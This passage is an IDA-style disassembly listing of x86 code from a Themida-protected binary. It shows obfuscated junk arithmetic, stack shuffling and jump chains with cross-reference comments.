; ---------------------------------------------------------------------------


loc_5A560F:				; CODE XREF: Themida_:005A5A4Dj
					; Themida_:005AD4DCj
		add	esp, 4
		inc	ecx
		jle	loc_5A764E
		jmp	loc_59A37D
; ---------------------------------------------------------------------------


loc_5A561E:				; CODE XREF: Themida_:0059BAD5j
		push	esp
		push	dword ptr [esp]
		pop	esi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	edx
		mov	edx, 4
		add	esi, edx
		jmp	loc_5A3CEA
; ---------------------------------------------------------------------------


loc_5A5640:				; CODE XREF: Themida_:005A1BE9j
					; Themida_:005A21A5j
		dec	eax
		jmp	loc_5AEE4F
; ---------------------------------------------------------------------------


loc_5A5646:				; CODE XREF: Themida_:005AC3CCj
		mov	esp, [esp]
		mov	cx, [esp]
		push	1EB6h
		mov	[esp], esi
		jmp	loc_59A8D7
; ---------------------------------------------------------------------------


loc_5A565A:				; CODE XREF: Themida_:0059B3D9j
		pop	eax
		jmp	loc_59A2AA
; ---------------------------------------------------------------------------


loc_5A5660:				; CODE XREF: Themida_:0059B1C0j
		mov	edx, 4
		add	ebx, edx
		pop	edx
		jmp	loc_59A1F2
; ---------------------------------------------------------------------------


loc_5A566D:				; CODE XREF: Themida_:005A5E17j
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_59D626
; ---------------------------------------------------------------------------


loc_5A5678:				; CODE XREF: Themida_:loc_5A1BC7j
		xor	ah, 0CBh
		jns	loc_5A942F
		push	edx
		jmp	loc_5A6557
; ---------------------------------------------------------------------------
		xor	ebx, 4D689287h
		add	al, 68h


loc_5A568F:				; CODE XREF: Themida_:005AE5FEj
		add	dword ptr [esp], 4
		jmp	loc_5AD8D0
; ---------------------------------------------------------------------------


loc_5A569B:				; CODE XREF: Themida_:005AF685j
		mov	[esp], esi
		push	edi
		jmp	loc_5A5F3B
; ---------------------------------------------------------------------------


loc_5A56A4:				; CODE XREF: Themida_:005AAD60j
		sub	ecx, 47EA89E4h
		push	ebp
		mov	ebp, 225615A9h
		not	ebp
		jmp	loc_5A75F9
; ---------------------------------------------------------------------------


loc_5A56B7:				; CODE XREF: Themida_:0059C751j
		push	ecx
		pop	ebp
		pop	ecx
		jmp	loc_5AD1B4
; ---------------------------------------------------------------------------


loc_5A56BF:				; CODE XREF: Themida_:005A44A8j
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		test	cl, al
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A56D3:				; CODE XREF: Themida_:005AD23Cj
		neg	edx
		xchg	edx, ecx
		add	ecx, 18D1240Fh
		jmp	loc_5A6284
; ---------------------------------------------------------------------------


loc_5A56E2:				; CODE XREF: Themida_:0059D8BAj
		pop	esi
		push	esi
		mov	esi, 59D00A5Ch
		push	0
		jmp	loc_5A3E96
; ---------------------------------------------------------------------------


loc_5A56F3:				; CODE XREF: Themida_:005A083Fj
		pop	edi
		push	esi
		mov	esi, 1B2275E7h
		jmp	loc_5A87A2
; ---------------------------------------------------------------------------


loc_5A56FF:				; CODE XREF: Themida_:0059FD5Fj
		push	4A8C30B1h
		pop	esi
		not	esi
		push	edi
		jmp	loc_5A87FC
; ---------------------------------------------------------------------------


loc_5A570D:				; CODE XREF: Themida_:005A038Fj
		mov	ebx, ebp
		pop	ebp
		push	ecx
		push	ebx
		add	dword ptr [esp], 4CCE070Ch
		pop	ecx
		jmp	loc_5A6ECE
; ---------------------------------------------------------------------------
byte_5A571F	db 66h			; DATA XREF: Themida_:00598710o
		dd 68240C8Bh, 41CEh, 68241C89h,	0E64h, 0FF7672E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A5735:				; CODE XREF: Themida_:005AA648j
		push	0D55h
		mov	[esp], ebx
		jmp	loc_5A231F
; ---------------------------------------------------------------------------


loc_5A5742:				; CODE XREF: Themida_:0059C1D9j
		shr	edi, 5
		jnz	loc_59DC22
		push	ebp
		jmp	loc_59BC70
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		mov	bl, dh
		push	dword ptr [esp]
		pop	eax
		jmp	loc_59CD16
; ---------------------------------------------------------------------------


loc_5A575F:				; CODE XREF: Themida_:005A75FBj
		or	edi, 152627D7h
		jmp	loc_5A3D85
; ---------------------------------------------------------------------------


loc_5A576A:				; CODE XREF: Themida_:005A6A05j
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		mov	ecx, 4833135Dh
		not	ecx
		jmp	loc_5A02BA
; ---------------------------------------------------------------------------


loc_5A577D:				; CODE XREF: Themida_:005A6B10j
		push	edi
		mov	edi, 2D907C39h
		shr	edi, 4
		add	edi, 9E7E9E31h
		jmp	loc_59C8D8
; ---------------------------------------------------------------------------


loc_5A5791:				; CODE XREF: Themida_:0059A85Dj
		mov	[esp], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		push	edx
		sub	esp, 4
		mov	[esp], esp
		push	eax
		jmp	loc_5AED83
; ---------------------------------------------------------------------------


loc_5A57B3:				; CODE XREF: Themida_:0059B53Bj
		mov	ebp, 549145B8h
		xor	ebp, 59FD4E1Ah
		push	ecx
		mov	ecx, 49F655E8h
		shr	ecx, 6
		xor	ecx, 6645A0F8h
		jmp	loc_5A3E42
; ---------------------------------------------------------------------------


loc_5A57D2:				; CODE XREF: Themida_:005AAEC7j
		push	esi
		mov	esi, eax
		push	esi
		pop	ebp
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_59CA81
; ---------------------------------------------------------------------------


loc_5A57E2:				; CODE XREF: Themida_:005A6A6Fj
		pop	esp
		movsx	ecx, ax
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_599C44
; ---------------------------------------------------------------------------


loc_5A57FA:				; CODE XREF: Themida_:005A65CEj
		add	bh, al
		pop	eax
		or	ch, bh
		jmp	loc_5A1796
; ---------------------------------------------------------------------------


loc_5A5804:				; CODE XREF: Themida_:005A49D9j
		shl	edx, 3
		jmp	loc_5AB026
; ---------------------------------------------------------------------------


loc_5A580C:				; CODE XREF: Themida_:0059D1C2j
		push	eax
		jmp	loc_59ACE8
; ---------------------------------------------------------------------------


loc_5A5812:				; CODE XREF: Themida_:005ACB45j
		add	ebx, edi
		pop	edi
		push	3EEBh
		jmp	loc_5A2C6C
; ---------------------------------------------------------------------------


loc_5A581F:				; CODE XREF: Themida_:005A91C4j
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		sub	esi, 1FE91078h
		sub	esi, 8B3749Ah
		add	esi, 40D96C98h
		sub	esi, 68AB291Ah
		sub	esi, 214B200Ah
		jmp	loc_5A1F2B
; ---------------------------------------------------------------------------


loc_5A5854:				; CODE XREF: Themida_:005AB3D6j
		sub	esp, 4
		jmp	loc_5AFD8F
; ---------------------------------------------------------------------------


loc_5A585F:				; CODE XREF: Themida_:005AE66Aj
		pop	eax
		push	244h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 10C5782Eh
		mov	eax, 10C57830h
		sub	eax, esi
		pop	esi
		add	esi, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_5AAEF9
; ---------------------------------------------------------------------------


loc_5A5898:				; CODE XREF: Themida_:005A53E1j
		push	esi
		push	eax
		mov	eax, 673F5978h
		or	eax, 3BE01680h
		xor	eax, 66888EC0h
		mov	esi, eax
		pop	eax
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		add	edi, ecx
		sub	edi, 3FDA6FA8h
		pop	ecx
		xchg	edi, [esp]
		jmp	loc_59E1BE
; ---------------------------------------------------------------------------


loc_5A58D0:				; CODE XREF: Themida_:0059ADB0j
		mov	edx, 43327ECAh
		inc	edx
		jmp	loc_5A42CB
; ---------------------------------------------------------------------------


loc_5A58DB:				; CODE XREF: Themida_:0059C96Aj
		pop	esp
		mov	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_59B8D8
; ---------------------------------------------------------------------------


loc_5A58E7:				; CODE XREF: Themida_:00598B8Bj
					; Themida_:005AC4AAj
		sub	ebp, 458AA4F4h
		sub	ecx, ebp
		pop	ebp
		sub	edx, ecx
		jmp	loc_5AD3BB
; ---------------------------------------------------------------------------


loc_5A58F7:				; CODE XREF: Themida_:005A2815j
		shl	ebx, 7
		jmp	loc_5A4A00
; ---------------------------------------------------------------------------


loc_5A58FF:				; CODE XREF: Themida_:0059DBAEj
		xor	esi, 7C88B834h
		add	eax, esi
		pop	esi
		push	ebx
		mov	ebx, 12A712A8h
		neg	ebx
		inc	ebx
		jmp	loc_5AD65B
; ---------------------------------------------------------------------------


loc_5A5916:				; CODE XREF: Themida_:0059D3E2j
		add	esp, 4
		jmp	loc_5A13F6
; ---------------------------------------------------------------------------


loc_5A5921:				; CODE XREF: Themida_:0059A7ADj
		pop	ebp
		shl	esi, 5
		jmp	loc_5A48EE
; ---------------------------------------------------------------------------


loc_5A592A:				; CODE XREF: Themida_:00598E57j
		add	edi, 1
		inc	edi
		sub	edi, 0BA759ECh
		sub	edi, 1D9770Eh
		sub	edx, edi
		pop	edi
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A5942:				; CODE XREF: Themida_:0059CA82j
		push	ebp
		add	dword ptr [esp], 2C587319h
		pop	esi
		sub	esi, 2C587319h
		mov	ebp, [esp]
		add	esp, 4
		sub	edi, 297A0622h
		jmp	loc_5993BB
; ---------------------------------------------------------------------------


loc_5A5962:				; CODE XREF: Themida_:0059BEDEj
					; Themida_:005A864Dj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, 3CDD670Ch
		shl	ebp, 4
		dec	ebp
		not	ebp
		jmp	loc_5AC55A
; ---------------------------------------------------------------------------


loc_5A5985:				; CODE XREF: Themida_:0059932Bj
		jl	loc_5A7431
		push	ebx
		mov	ebx, 343D51B1h
		shl	ebx, 7
		add	ebx, 41DA3701h
		jmp	loc_59D3F9
; ---------------------------------------------------------------------------


loc_5A599F:				; CODE XREF: Themida_:005A06B6j
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		sub	edx, 7E0B6392h
		add	edx, ebx
		push	ebp
		mov	ebp, 74F536E1h
		not	ebp
		push	esi
		jmp	loc_5AD7D9
; ---------------------------------------------------------------------------


loc_5A59C0:				; CODE XREF: Themida_:005A71BBj
		mov	bl, dl
		push	edx
		mov	dh, bl
		push	ebx
		mov	bl, dh
		mov	ch, bl
		jmp	loc_5A44C9
; ---------------------------------------------------------------------------


loc_5A59CF:				; CODE XREF: Themida_:005A8CEAj
		mov	edx, 194910A5h
		mov	ebp, edx
		pop	edx
		or	ebp, 2C756B6Dh
		xor	ebp, 2DD61A5Fh
		xor	ebp, 1A14D2E0h
		push	ecx
		mov	ecx, ebp
		jmp	loc_5AF9EF
; ---------------------------------------------------------------------------


loc_5A59F1:				; CODE XREF: Themida_:0059BE6Ej
		add	esi, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	edi
		jmp	loc_5A628B
; ---------------------------------------------------------------------------


loc_5A5A03:				; CODE XREF: Themida_:0059DC83j
		pop	ebp
		xchg	eax, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_5A260B
; ---------------------------------------------------------------------------


loc_5A5A10:				; CODE XREF: Themida_:005AADC0j
		mov	[esp], esi
		mov	esi, 63916B09h
		sub	esi, 43B871CDh
		inc	esi
		push	edi
		mov	edi, 4C551D72h
		sub	esi, edi
		pop	edi
		shr	esi, 5
		push	ecx
		mov	ecx, 13063A0Eh
		shr	ecx, 4
		push	esi
		mov	esi, 1BE64C9Bh
		and	esi, 18595D94h
		jmp	loc_5A6B5B
; ---------------------------------------------------------------------------


loc_5A5A45:				; CODE XREF: Themida_:005A0B56j
		jmp	loc_5A543F
; ---------------------------------------------------------------------------


loc_5A5A4A:				; CODE XREF: Themida_:0059FEA6j
		shr	edi, 7
		jp	loc_5A560F
		sub	edi, 88F251h
		and	eax, edi
		mov	edi, [esp]
		jmp	loc_5ACDF7
; ---------------------------------------------------------------------------


loc_5A5A63:				; CODE XREF: Themida_:005A1ABAj
		mov	ebx, 151A193Ah
		xor	ebx, 31104C6Eh
		add	ebx, 3660445h
		shl	ebx, 6
		dec	ebx
		jmp	loc_5A90A6
; ---------------------------------------------------------------------------


loc_5A5A7D:				; CODE XREF: Themida_:0059CAC9j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A3AF5
; ---------------------------------------------------------------------------


loc_5A5A88:				; CODE XREF: Themida_:0059B111j
		xchg	edi, [esp]
		jmp	loc_5A88DB
; ---------------------------------------------------------------------------


loc_5A5A90:				; CODE XREF: Themida_:005A5F0Ej
					; Themida_:005AFD6Dj
		mov	[esp], edi
		jmp	loc_5AC499
; ---------------------------------------------------------------------------


loc_5A5A98:				; CODE XREF: Themida_:005AF987j
		mov	esp, [esp]
		push	47AAh
		mov	[esp], ecx
		mov	ecx, 66BD2E57h
		push	ebx
		mov	ebx, 10D771C3h
		dec	ebx
		inc	ebx
		jmp	loc_5A217F
; ---------------------------------------------------------------------------


loc_5A5AB5:				; CODE XREF: Themida_:005A4387j
		xor	eax, 6FF97FBAh
		jmp	loc_5A01B0
; ---------------------------------------------------------------------------


loc_5A5ABF:				; CODE XREF: Themida_:005A2E1Bj
					; Themida_:005A8AD0j
		mov	bh, dl
		jmp	loc_5AE75C
; ---------------------------------------------------------------------------


loc_5A5AC6:				; CODE XREF: Themida_:005A2618j
		mov	edi, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_5A4A61
; ---------------------------------------------------------------------------


loc_5A5AD3:				; CODE XREF: Themida_:005A423Aj
		pop	esp
		jmp	loc_5AD691
; ---------------------------------------------------------------------------


loc_5A5AD9:				; CODE XREF: Themida_:005AE0C5j
		dec	dl
		sub	dl, 0E4h
		sub	al, dl
		jmp	loc_5AB882
; ---------------------------------------------------------------------------


loc_5A5AE5:				; CODE XREF: Themida_:0059F47Bj
		pop	ebp
		sub	edi, ebx
		jmp	loc_5A22BC
; ---------------------------------------------------------------------------


loc_5A5AED:				; CODE XREF: Themida_:005AD08Aj
		mov	ebp, 4
		sub	ecx, ebp
		mov	ebp, [esp]
		push	esi
		jmp	loc_5ACB4A
; ---------------------------------------------------------------------------


loc_5A5AFD:				; CODE XREF: Themida_:005A11A8j
					; Themida_:005A7C3Aj
		sub	eax, 60FD638Ch
		mov	edi, eax
		pop	eax
		xor	edi, 69C1224Ch
		jns	loc_5AE320
		neg	edi
		jz	loc_59D9CE
		mov	edx, edi
		mov	ebp, ecx


loc_5A5B1D:				; CODE XREF: Themida_:0059C327j
		sub	al, bh
		pop	ebx
		sub	esp, 4
		mov	[esp], ecx
		push	2425h
		mov	[esp], edx
		mov	dl, 95h
		push	ebx
		mov	bh, 5
		mov	ch, bh
		jmp	loc_59CAE3
; ---------------------------------------------------------------------------


loc_5A5B3A:				; CODE XREF: Themida_:005AE3ECj
		mov	ah, ch
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		mov	dh, ah
		pop	eax
		pop	ebx
		add	bl, dh
		pop	dx
		sub	al, bl
		jmp	loc_5A0303
; ---------------------------------------------------------------------------


loc_5A5B52:				; CODE XREF: Themida_:00598AA1j
		mov	cl, 0D6h
		xor	cl, 4Fh
		add	cl, 0B7h
		jmp	loc_59C244
; ---------------------------------------------------------------------------


loc_5A5B5F:				; CODE XREF: Themida_:005A4A42j
		push	38044AF4h
		mov	ecx, [esp]
		push	5F81h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5AD7CA
; ---------------------------------------------------------------------------


loc_5A5B7F:				; CODE XREF: Themida_:005A2C8Aj
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_5A4AF6
; ---------------------------------------------------------------------------


loc_5A5B89:				; CODE XREF: Themida_:0059E40Fj
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_5AF544
; ---------------------------------------------------------------------------


loc_5A5B97:				; CODE XREF: Themida_:005A1805j
		push	eax
		jmp	loc_5A7712
; ---------------------------------------------------------------------------


loc_5A5B9D:				; CODE XREF: Themida_:005AF6F2j
		add	esp, 4
		or	ebx, ebx
		jnz	loc_5A7E21
		push	1E1Ch
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_5A79B3
; ---------------------------------------------------------------------------


loc_5A5BB7:				; CODE XREF: Themida_:005AF2F7j
		neg	esi
		jmp	loc_59A04B
; ---------------------------------------------------------------------------


loc_5A5BBE:				; CODE XREF: Themida_:005A3648j
		xor	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		add	ebp, 3087331h
		add	ebp, ebx
		sub	ebp, 3087331h
		pop	ebx
		add	ebp, 0D1570C5Ch
		mov	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_5AC990
; ---------------------------------------------------------------------------


loc_5A5BE8:				; CODE XREF: Themida_:005A5478j
		push	ebx
		push	edi
		jmp	loc_59D81A
; ---------------------------------------------------------------------------


loc_5A5BEF:				; CODE XREF: Themida_:00598CCCj
		neg	edi
		sub	edi, 10701E0Fh
		xor	edi, 33754943h
		dec	edi
		add	edi, 642376DBh
		xor	edi, 49517B23h
		xor	ecx, edi
		pop	edi
		xor	ecx, 5C1B18D7h
		add	edx, 0F04129Dh
		add	edx, ecx
		sub	edx, 0F04129Dh
		pop	ecx
		push	ebp
		jmp	loc_59CF81
; ---------------------------------------------------------------------------


loc_5A5C28:				; CODE XREF: Themida_:005A347Cj
		xor	ebp, [esp]
		jmp	loc_59A30C
; ---------------------------------------------------------------------------


loc_5A5C30:				; CODE XREF: Themida_:0059B7F5j
		jmp	loc_5A7882
; ---------------------------------------------------------------------------


loc_5A5C35:				; CODE XREF: Themida_:loc_59FCAFj
					; Themida_:005AB4F2j
		mov	edx, ecx
		jmp	loc_5ABEF4
; ---------------------------------------------------------------------------


loc_5A5C3C:				; CODE XREF: Themida_:loc_5A2A61j
		jmp	loc_5A7733
; ---------------------------------------------------------------------------


loc_5A5C41:				; CODE XREF: Themida_:005ACA7Dj
		pop	edi
		pop	dword ptr [esp]
		push	edx
		jmp	loc_59F900
; ---------------------------------------------------------------------------


loc_5A5C4B:				; CODE XREF: Themida_:005ADA27j
		pop	ecx
		sub	ecx, 946307CDh
		jmp	loc_5AE1ED
; ---------------------------------------------------------------------------


loc_5A5C57:				; CODE XREF: Themida_:005A7440j
		jmp	loc_5AF7D0
; ---------------------------------------------------------------------------


loc_5A5C5C:				; CODE XREF: Themida_:005A7218j
		mov	[esp], edx
		jmp	loc_59DBF6
; ---------------------------------------------------------------------------


loc_5A5C64:				; CODE XREF: Themida_:005AD4AEj
		pop	ebp
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_5AF5E5
; ---------------------------------------------------------------------------


loc_5A5C73:				; CODE XREF: Themida_:0059EB09j
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, 17B5386Dh
		add	edx, 5A186Dh
		add	edx, 60187305h
		jmp	loc_5A7232
; ---------------------------------------------------------------------------


loc_5A5C90:				; CODE XREF: Themida_:005A456Bj
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_5AE8E5
; ---------------------------------------------------------------------------


loc_5A5CAD:				; CODE XREF: Themida_:005A98BBj
		push	1936h
		jmp	loc_5A981B
; ---------------------------------------------------------------------------


loc_5A5CB7:				; CODE XREF: Themida_:005ACBB8j
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_5A05E5
; ---------------------------------------------------------------------------


loc_5A5CC2:				; CODE XREF: Themida_:0059FF9Cj
		push	ecx
		jmp	loc_5AC3B4
; ---------------------------------------------------------------------------


loc_5A5CC8:				; CODE XREF: Themida_:005ADDA6j
		pop	esi
		dec	edx
		not	edx
		shr	edx, 4
		xor	edx, 0A425F21h
		sub	edi, 133874F9h
		add	edi, edx
		add	edi, 133874F9h
		mov	edx, [esp]
		add	esp, 4
		sub	edi, 4
		push	edi
		jmp	loc_5A8617
; ---------------------------------------------------------------------------


loc_5A5CF5:				; CODE XREF: Themida_:005A99C2j
		mov	esi, 2
		mov	edx, esi
		pop	esi
		add	ebx, edx
		pop	edx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		btr	[esp], ax
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A5D17:				; CODE XREF: Themida_:005AEA0Cj
		pop	ecx
		or	ebx, 5E472AB8h
		not	ebx
		push	esi
		mov	esi, 5CEC335Bh
		shr	esi, 8
		jmp	loc_59EE1A
; ---------------------------------------------------------------------------


loc_5A5D2E:				; CODE XREF: Themida_:005AA2CDj
		push	esi
		push	edi
		mov	edi, 4
		mov	esi, edi
		pop	edi
		push	3C91h
		mov	[esp], ecx
		mov	ecx, 27EA4C31h
		sub	[esp+8], ecx
		jmp	loc_59AA81
; ---------------------------------------------------------------------------


loc_5A5D4E:				; CODE XREF: Themida_:005A0CFCj
		mov	edx, 4EF11EAFh
		mov	edi, edx
		pop	edx
		sub	esi, edi
		pop	edi
		mov	ebp, esi
		pop	esi
		push	ebx
		mov	ebx, 2A63C6Fh
		jmp	loc_59FB5F
; ---------------------------------------------------------------------------


loc_5A5D67:				; CODE XREF: Themida_:005ABC4Aj
		sub	edx, 61E41623h
		push	ebx
		mov	ebx, 5EB5687Ah
		jmp	loc_5A5E66
; ---------------------------------------------------------------------------


loc_5A5D78:				; CODE XREF: Themida_:005A5063j
		pop	eax
		push	ebx
		jmp	loc_59F95C
; ---------------------------------------------------------------------------


loc_5A5D7F:				; CODE XREF: Themida_:loc_59A57Ej
					; Themida_:0059C41Fj
		mov	dx, 35DEh
		mov	cx, dx
		mov	dx, [esp]
		add	esp, 2
		not	cx
		push	small 1E48h
		mov	[esp], si
		push	small 0BAF5h
		pop	si
		xor	cx, si
		jmp	loc_5AF962
; ---------------------------------------------------------------------------


loc_5A5DA9:				; CODE XREF: Themida_:00599A00j
		mov	edi, 8C75C1Bh
		add	edi, 0F738A3E9h
		jmp	loc_5A986F
; ---------------------------------------------------------------------------


loc_5A5DB9:				; CODE XREF: Themida_:005A7C98j
		add	edi, 4
		push	47DFh
		jmp	loc_5A6E10
; ---------------------------------------------------------------------------


loc_5A5DC9:				; CODE XREF: Themida_:005A2C29j
		dec	esi
		not	esi
		jmp	loc_5A48FF
; ---------------------------------------------------------------------------


loc_5A5DD1:				; CODE XREF: Themida_:0059E09Bj
		pop	esi
		add	esp, 4
		sub	esi, 4D615FF9h
		mov	eax, [esp]
		add	esp, 4
		add	eax, 61816184h
		jmp	loc_5A9540
; ---------------------------------------------------------------------------


loc_5A5DF1:				; CODE XREF: Themida_:005AF869j
		add	dword ptr [esp], 4
		jmp	loc_5A1E1C
; ---------------------------------------------------------------------------


loc_5A5DFD:				; CODE XREF: Themida_:0059E7F2j
		sub	ecx, edi
		pop	edi
		add	edx, 5672391Eh
		sub	edx, ecx
		jmp	loc_5A0C6B
; ---------------------------------------------------------------------------


loc_5A5E0D:				; CODE XREF: Themida_:005A5FA5j
		push	ebx
		jmp	loc_5A9651
; ---------------------------------------------------------------------------


loc_5A5E13:				; CODE XREF: Themida_:005A2CE0j
		pop	edx
		add	esp, 4
		jmp	loc_5A566D
; ---------------------------------------------------------------------------


loc_5A5E1C:				; CODE XREF: Themida_:loc_5A11C8j
		jmp	loc_5AA4DB
; ---------------------------------------------------------------------------


loc_5A5E21:				; CODE XREF: Themida_:0059E567j
					; Themida_:005A40DAj
		mov	[esp], edi
		jmp	loc_5AB47E
; ---------------------------------------------------------------------------


loc_5A5E29:				; CODE XREF: Themida_:0059DF0Fj
		mov	eax, 57172B36h
		inc	eax
		jge	loc_59DF8E
		jmp	loc_5A87B6
; ---------------------------------------------------------------------------
		xor	esi, eax
		push	edx
		mov	edx, esp
		jmp	loc_5A1B1E
; ---------------------------------------------------------------------------


loc_5A5E44:				; CODE XREF: Themida_:0059F97Cj
					; Themida_:005ACB8Aj
		neg	eax
		ja	loc_59F756
		xor	eax, 7C158AEh
		jnb	loc_5AD46B
		neg	eax
		sub	eax, 11F7667Ch
		xor	eax, 9DCEA64Fh
		mov	edi, eax
		push	edx


loc_5A5E66:				; CODE XREF: Themida_:005A5D73j
		xor	ebx, 75F75B7Fh
		sub	edx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		mov	edx, 5A1C44B9h
		add	edx, 0F9902145h
		or	edx, 3B0D0E2Dh
		jbe	loc_5A5FC5
		jmp	loc_59DD2A
; ---------------------------------------------------------------------------


loc_5A5E95:				; CODE XREF: Themida_:005A61E3j
		push	625Ah
		mov	[esp], ebx
		push	ecx
		mov	cl, 0D1h
		mov	bh, 0F2h
		sub	bh, cl
		pop	ecx
		mov	cl, 0DEh
		xor	cl, bh
		pop	ebx
		add	bl, 0B7h
		sub	bl, cl
		sub	bl, 0B7h
		mov	cx, [esp]
		add	esp, 2
		sub	esp, 2
		mov	[esp], dx
		push	1793h
		mov	[esp], ebx
		jmp	loc_59CFA1
; ---------------------------------------------------------------------------


loc_5A5ED0:				; CODE XREF: Themida_:005AD78Bj
		xor	ebx, [esp]
		mov	esp, [esp]
		shr	eax, 18h
		xor	eax, ecx
		jmp	loc_5A1363
; ---------------------------------------------------------------------------


loc_5A5EE0:				; CODE XREF: Themida_:005AFCFBj
		add	al, dh
		add	al, 4Eh
		pop	edx
		shl	al, 3
		inc	al
		sub	al, 8
		jmp	loc_598C64
; ---------------------------------------------------------------------------


loc_5A5EF1:				; CODE XREF: Themida_:loc_5A0799j
		jmp	loc_5999E2
; ---------------------------------------------------------------------------


loc_5A5EF6:				; CODE XREF: Themida_:0059A82Bj
		pop	eax
		add	edi, edx
		pop	edx
		sub	edi, ecx
		sub	edi, 199B4808h
		add	edi, 18794660h
		jmp	loc_5A8D9A
; ---------------------------------------------------------------------------


loc_5A5F0D:				; CODE XREF: Themida_:0059D36Fj
					; Themida_:005AA551j
		pop	esp
		jmp	loc_5A5A90
; ---------------------------------------------------------------------------


loc_5A5F13:				; CODE XREF: Themida_:005A60FBj
		push	esi
		jmp	loc_5A86B6
; ---------------------------------------------------------------------------


loc_5A5F19:				; CODE XREF: Themida_:005AC162j
		add	esi, 18B135D0h
		sub	esi, ebx
		sub	esi, 18B135D0h
		pop	ebx
		mov	edi, esi
		jmp	loc_5AECD7
; ---------------------------------------------------------------------------


loc_5A5F2F:				; CODE XREF: Themida_:0059D503j
		add	eax, 932166Eh
		push	eax
		pop	ecx
		jmp	loc_59EEDE
; ---------------------------------------------------------------------------


loc_5A5F3B:				; CODE XREF: Themida_:005A569Fj
		mov	edi, 70384A05h
		dec	edi
		jns	loc_59FE4F
		and	edi, 63E9773Ah
		jmp	loc_59EE2E
; ---------------------------------------------------------------------------
		push	esi
		push	edx
		mov	ch, al


loc_5A5F56:				; CODE XREF: Themida_:005A28BCj
					; Themida_:005A9CD0j
		mov	eax, 0E241956h
		add	edi, 9A46FE6h
		sub	edi, eax
		sub	edi, 9A46FE6h
		pop	eax
		jmp	loc_59AD56
; ---------------------------------------------------------------------------


loc_5A5F6F:				; CODE XREF: Themida_:0059FD11j
		push	small 31C2h
		mov	[esp], dx
		mov	dh, 49h
		sub	bl, dh
		pop	dx
		jmp	loc_5A4778
; ---------------------------------------------------------------------------


loc_5A5F82:				; CODE XREF: Themida_:005A942Aj
		push	669Ah
		mov	[esp], edi
		mov	edi, 74BC6D6Dh
		add	edx, 5D4144BEh
		sub	edx, 1BA96206h
		jmp	loc_5AE2B6
; ---------------------------------------------------------------------------


loc_5A5FA0:				; CODE XREF: Themida_:005A4D60j
		mov	ecx, 33526348h
		jmp	loc_5A5E0D
; ---------------------------------------------------------------------------


loc_5A5FAA:				; CODE XREF: Themida_:0059B199j
		push	ebp
		push	eax
		mov	eax, 5FC22C7Bh
		push	5FC22C7Fh
		pop	ebp
		xor	ebp, eax
		pop	eax
		sub	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		jmp	loc_59ECAF
; ---------------------------------------------------------------------------


loc_5A5FC5:				; CODE XREF: Themida_:005A5E8Aj
		jmp	loc_5A3998
; ---------------------------------------------------------------------------


loc_5A5FCA:				; CODE XREF: Themida_:005A2D8Dj
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 352951E6h
		shr	ebx, 7
		jmp	loc_5AE785
; ---------------------------------------------------------------------------


loc_5A5FF0:				; CODE XREF: Themida_:005992ECj
		dec	ch
		shr	ch, 8
		push	dx
		mov	dl, 0F4h
		and	ch, dl
		pop	dx
		sub	ch, 48h
		xor	ch, 41h
		sub	al, ch
		jmp	loc_5ACD10
; ---------------------------------------------------------------------------


loc_5A600A:				; CODE XREF: Themida_:005AE040j
		inc	edx
		add	edx, 2D131552h
		sub	edx, 5A8A62C9h
		add	edi, edx
		pop	edx
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		jmp	loc_5A89DD
; ---------------------------------------------------------------------------


loc_5A6027:				; CODE XREF: Themida_:0059FF12j
		pop	edi
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5A0E10
; ---------------------------------------------------------------------------


